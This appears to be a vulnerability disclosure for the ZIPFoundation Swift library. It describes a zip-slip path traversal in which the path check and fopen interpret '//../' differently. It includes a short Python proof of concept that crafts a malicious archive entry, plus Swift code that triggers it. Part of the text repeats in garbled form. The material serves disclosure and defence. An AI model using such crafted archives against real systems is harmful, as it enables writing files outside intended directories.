Path parsing confusion between URL from Foundation package and fopen function, leading to path traversal.
Steps to Reproduce
1- Generate payload.zip using the following code:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/../secret.txt'
compress_file(filename)
2- Extract payload.zip using unzipItem
import Foundation
import ZIPFoundation
let fileManager = FileManager()
var sourceURL = URL(fileURLWithPath: "/path/to/payload.zip")
var destinationURL = URL(fileURLWithPath: "/path/to/")
do {
try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
try fileManager.unzipItem(at: sourceURL, to: destinationURL)
} catch {
print("Extraction of ZIP archive failed with error:\(error)")
}
Expected Results
secret.txt is extracted to the target extraction directory
Actual Results
secret.txt is extracted to the parent of target extraction directory
Technical details
the package uses the following function to check that the zip entry path is located within the extraction directory:
func isContained(in parentDirectoryURL: URL) -> Bool {
// Ensure this URL is contained in the passed in URL
let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
}
However, when provided with the following path /base_path/extraction_directory//../ the path gets normalized to /base_path/extraction_directory/entry_file_name which passes the check above.
when that same path is passed to fopen, it gets normalized to /base_path/entry_file_name.
let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
throw CocoaError(.fileNoSuchFile)
}
Summary
Path parsing confusion between URL from Foundation package and fopen function, leading to path traversal.
Steps to Reproduce
1- Generate
payload.zip
using the following code:2- Extract
payload.zip
usingunzipItem
Expected Results
secret.txt
is extracted to the target extraction directoryActual Results
secret.txt
is extracted to the parent of target extraction directoryTechnical details
the package uses the following function to check that the zip entry path is located within the extraction directory:
However, when provided with the following path
/base_path/extraction_directory//../
the path gets normalized to/base_path/extraction_directory/entry_file_name
which passes the check above.when that same path is passed to
fopen
, it gets normalized to/base_path/entry_file_name
.